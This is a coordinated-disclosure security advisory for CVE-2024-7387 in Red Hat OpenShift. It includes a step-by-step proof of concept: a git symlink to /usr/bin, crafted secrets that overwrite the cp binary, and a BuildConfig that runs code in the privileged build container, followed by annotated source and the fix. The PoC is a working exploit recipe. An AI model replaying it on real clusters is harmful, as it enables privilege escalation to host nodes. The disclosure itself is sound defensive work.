[Advisory - Red Hat, OpenShift Container Platform] Path traversal allows command injection in privileged BuildContainer using docker build strategy

Oct 2, 2024

Product:	**Red Hat - OpenShift Container Platform**
Homepage:	**https://www.redhat.com/en/technologies/cloud-computing/openshift**
CVE Number:	**CVE-2024-7387**
Tested version:	**see 'Version information'**
Vulnerable version:	**https://access.redhat.com/security/cve/CVE-2024-7387**
Fixed version:	**https://access.redhat.com/security/cve/CVE-2024-7387**
CVSS Score:	**Critical 9.1 - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H**
Found:	**Jul 24, 2024**

Product description

Red Hat OpenShift is the leading hybrid cloud application platform, bringing together a comprehensive set of tools and services that streamline the entire application lifecycle.

Trusted by 3,000 customers across industries (including 56% of the top 25 Global Fortune 500), it combines built-in security features with dedicated support, a trusted software supply chain, and Red Hat Enterprise Linux® as the operating foundation.

Available in self-managed or fully managed cloud service editions, OpenShift offers a complete set of integrated tools and services for cloud-native, AI, and traditional workloads alike.

Red Hat - OpenShift Platform

Vulnerability overview

`OpenShift` allows a user to create his own images with the help of the build component. This component has three primary build strategies available (Docu - Understanding image builds):

- Docker build
- Source-to-Image (S2I) build
- Custom build

As the builds are running in a privileged container, a vulnerability in this process allows an atttacker to escalate their permissions on the cluster and host nodes.

The `custom build` is not safe, because they can execute any code within a privileged container and are disabled by default. The other two strategies are considered as safe and are enabled for all users that can create builds.

But there is a note about the `docker strategy`:

> *Grant docker build permissions with caution, because a vulnerability in the Dockerfile processing logic could result in a privileges being granted on the host node.*

See: https://docs.openshift.com/container-platform/4.16/cicd/builds/securing-builds-by-strategy.html

The `docker strategy` / the image used during the build has a vulnerabiliy, which allows an attacker to override files inside the privileged build container with the help of the `spec.source.secrets.secret.destinationDir` attribute of the `BuildConfig` definition. After overriding the binary, execution of this overriden file can be triggered with another secret and the malicious code is executed in the privileged container.

As stated above, running code in a privileged container allows an attacker to escalate their permissions on the cluster and host nodes. As an example the host filesystem of the worker node can be mounted and a new `SSH` key can be added to user `core` of the `Red Hat Enterprise Linux CoreOS (RHCOS)`.

Proof of concept

To exploit the vulnerability the following steps have to be done:

1) Create a `git` repository with a `Dockerfile` and a symbolic link to `/usr/bin` 2) Create a secret, with the key `cp` and the content is the bash script executed during exploitation 3) Create another secret with arbitrary content, only used to trigger the exploit 4) Create a `BuildConfig`:

- Using `docker` as `spec.strategy.type`
- Reference the created ‘git’ repo in `spec.source.git.uri`
- Reference both secrets in `spec.source.secrets`
- Set the `spec.source.secrets[0].destinationDir` attr to the symblic link from to `git` repo 5) Trigger the build, which executes the payload in the privileged container

Step1 - Git repo

Create a `git` repository which can be access by `OpenShift` and add a `Dockerfile` and a symbolic link.

```
mkdir /tmp/poc-repo
cd /tmp/poc-repo
git init
touch Dockerfile
# provide content for dockerfile
ln -s /usr/bin usr_bin

git add Dockerfile  usr_bin
git commit -m "PoC"
git push
```

The `Dockerfile` has the following content (snippet):

```
COPY . .
RUN ls -la
```

Dockerfile

It copies all files from the current `docker build` `ContextDir`. During the build the `ContextDir` is set to `/tmp/build/inputs/` in the privilged build containers filesystem. Then it lists all copied files via `ls`.

Step2 - Create secret with payload to execute

Create a new secret which uses the key `cp` and set the exploit payload as value and apply it.

```
kind: Secret
apiVersion: v1
metadata:
  name: build-path-traversal
stringData:
  cp: |
    #!/bin/bash

    touch /tmp/build/inputs/poc-rce.txt
type: Opaque
```

secret-build-path-traversal.yaml

```
oc apply -f ./definition/secret-build-path-traversal.yaml
secret/build-path-traversal created
```

The provided payload creates a file in the `docker build` `ContextDir`, which should be copied to the image during the build via `COPY . .`.

```
#!/bin/bash
touch /tmp/build/inputs/poc-rce.txt
```

Step3 - Create the “trigger” secret

Create a new secret with arbitrary content and apply it.

```
kind: Secret
apiVersion: v1
metadata:
  name: trigger-rce
stringData:
  trigger: pwned

type: Opaque
```

secret-trigger-rce.yml

```
oc apply -f ./definition/secret-trigger-rce.yaml
secret/trigger-rce created
```

Step4 - Create a BuildConfig

Then `BuildConfig` config has to be created and applied.

```
kind: BuildConfig
apiVersion: build.openshift.io/v1
metadata:
  name: build-priv-esc
spec:
  nodeSelector: null
  strategy:
    type: Docker
    dockerStrategy:
      dockerfilePath: Dockerfile
  source:
    type: Git
    git:
      uri: 'https://<REDACTED>/build-rce-poc.git'
      ref: main
    contextDir: /
    secrets:
      - secret:
          name: build-path-traversal
        destinationDir: usr_bin
      - secret:
          name: trigger-rce
```

build-cfg.yaml

```
oc apply -f ./definition/build-cfg.yaml
buildconfig.build.openshift.io/build-priv-esc created
```

The important parts of this definion are:

- Using the `docker strategy`:

  ```
  spec:
    nodeSelector: null
    strategy:
      type: Docker
  ```

- Set the `destinationDir` of `secret/build-path-traversal` to the symbolic link in the `git` repo

```
spec:
# ....
    contextDir: /
    secrets:
      - secret:
          name: build-path-traversal
        destinationDir: usr_bin
```

Step5 - Trigger the build / RCE

After starting the build, the log can be inspected and verified that `RUN ls -la` lists the file `poc-rce.txt`.

```
oc start-build build-priv-esc
build.build.openshift.io/build-priv-esc-7 started
```

```
...
STEP 5/8: RUN ls -la
total 4
drwxr-xr-x    1 root     root            70 Jul 31 07:57 .
dr-xr-xr-x    1 root     root            17 Jul 31 07:57 ..
drwxr-xr-x    8 root     root           163 Jul 31 07:57 .git
-rw-r--r--    1 root     root           967 Jul 31 07:57 Dockerfile
-rw-r--r--    1 root     root             0 Jul 31 07:57 poc-rce.txt
...
```

Build log

Source of the bug

The source code of the builder image can be found on GitHub - Builder. Doing some manual source code review revealed the bug. The code for handling the `docker strategy` and copying secrets can be found in `pkg\build\builder\docker.go`.

> *!NOTE*
> *Comments with the prefix `// <<!! PoC Review !! >>` highlight key parts for the exploit.*

```
// FILE: pkg\build\builder\docker.go

// ----------
// dockerBuild performs a docker build on the source that has been retriev
func (d *DockerBuilder) dockerBuild(ctx context.Context, dir string, tag s
        var noCache bool
        var forcePull bool
        var buildArgs []docker.BuildArg
        dockerfilePath := defaultDockerfilePath
        if d.build.Spec.Strategy.DockerStrategy != nil {
                if d.build.Spec.Source.ContextDir != "" {
                        dir = filepath.Join(dir, d.build.Spec.Source.Conte
                }
                if d.build.Spec.Strategy.DockerStrategy.DockerfilePath !=
                        dockerfilePath = d.build.Spec.Strategy.DockerStrat
                }
                for _, ba := range d.build.Spec.Strategy.DockerStrategy.Bu
                        buildArgs = append(buildArgs, docker.BuildArg{Name
                }
                noCache = d.build.Spec.Strategy.DockerStrategy.NoCache
                forcePull = d.build.Spec.Strategy.DockerStrategy.ForcePull
        }

        auth := mergeNodeCredentialsDockerAuth(os.Getenv(dockercfg.PullAut


  // <<!! PoC Review !! >>
  // Call copySecrets during a dockerBuild
        if err := d.copySecrets(d.build.Spec.Source.Secrets, dir); err !=
                return err
        }

// ----------

// copySecrets copies all files from the directory where the secret is
// mounted in the builder pod to a directory where the is the Dockerfile,
// users can ADD or COPY the files inside their Dockerfile.
func (d *DockerBuilder) copySecrets(secrets []buildapiv1.SecretBuildSource
        var err error
        for _, s := range secrets {
                err = d.copyLocalObject(secretSource(s), secretBuildSourc
                if err != nil {
                        return err
                }
        }
        return nil
}
```

```
func (d *DockerBuilder) copyLocalObject(s localObjectBuildSource, sourceDi


  // <<!! PoC Review !! >>
  // Create dstDir based on the value specified in the BuildConfig definit
  // targetDir := /tmp/build/inputs/  -- docker build context
  // s.DestinationPath() := usr_bin
  // dstDir == /tmp/build/inputs/usr_bin -- Which is a symbolic link to /u
        dstDir := filepath.Join(targetDir, s.DestinationPath())


  // <<!! PoC Review !! >>
  // Make everything in dstDir `rwx' for `user,group other` `0777`
        if err := os.MkdirAll(dstDir, 0777); err != nil {
                return err
        }
        log.V(3).Infof("Copying files from the build source %q to %q", s.L

        // Build sources contain nested directories and fairly baroque lin
        // copied, perform the following steps:
        //
        // 1. Only top level files and directories within the secret direc
        // 2. Any item starting with '..' is ignored
        // 3. Destination directories are created first with 0777
        // 4. Use the '-L' option to cp to copy only contents.
        //
        srcDir := filepath.Join(sourceDir, s.LocalObjectRef().Name)


  // <<!! PoC Review !! >>
  // Walk the the mounted secrets specified in the `BuildConfig`
  // As we named the key in `secret/build-path-traversal` `cp` there is a
        if err := filepath.Walk(srcDir, func(path string, info os.FileInfo
                if err != nil {
                        return err
                }
                if srcDir == path {
                        return nil
                }

                // skip any contents that begin with ".."
                if strings.HasPrefix(filepath.Base(path), "..") {
                        if info.IsDir() {
                                return filepath.SkipDir
                        }
                        return nil
```

```
                return nil
        }

        // ensure all directories are traversable
        if info.IsDir() {
                if err := os.MkdirAll(dstDir, 0777); err != nil {
                        return err
                }
        }


    // <<!! PoC Review !! >>
    // Use the `cp` command to copy the mounted secrets to the 'ContextDir
    // During processing of `secret/build-path-traversal`
    // cp copies /run/secrets/buidl-path-traversal/cp to /tmp/build/inputs/
    // As /tmp/build/inputs/usr_bin is a symbolic link to /usr/bin /usr/bi

    // During processing of `secret/trgger-rce` `/usr/bin/cp` is already r
    // in the privileged build container
        out, err := exec.Command("cp", "-vLRf", path, dstDir+"/").
        if err != nil {
                log.V(4).Infof("Build source %q failed to copy: %q
                return err
        }
}
```

Solution

To fix this vulnerability the variable `dstDir` in the function `copyLocalObject` has to be validated to share a common `basePath` with the `docker build` `ContextDir` after it has been made absolute (resolve `/../`) and canonicalized (resolve symblic links).

Version information

The vulnerability was found and verified using the application versions listed below:

```
oc version
Client Version: 4.12.0-202405222205.p0.gd691257.assembly.stream.el8-d69125
Kustomize Version: v4.5.7
Server Version: 4.12.59
Kubernetes Version: v1.25.16+306a47e

oc get pod build-priv-esc-7-build -o json  | jq ".spec.containers[0].image
"quay.io/openshift-release-dev/ocp-v4.0-art-dev@sha256:77faaecb0f5e2d59fe9
```

Fixes

See RedHat - CVE-2024-7387 `Affected Packages and Issued Red Hat Security Errata`

Timeline

- 2024-07-31: Vendor contacted via secalert@redhat.com, GPG encrypted
- 2024-08-01: Vendor replied that they are working on the report and that they resevered CVE-2024-7387
- 2024-08-16: Asked the vendor about an status update
- 2024-08-26: Asked the vendor again about an status update
- 2024-08-26: Vendor replied that they are still working on it and have no specific release date for the fix
- 2024-09-12: Vendor informed me that the vulnerability info would be published on 2024-09-16
- 2024-09-16: Vendor released public information about the vulnerability at https://access.redhat.com/security/cve/CVE-2024-7387
- 2024-09-19: Vendor released fixed versions
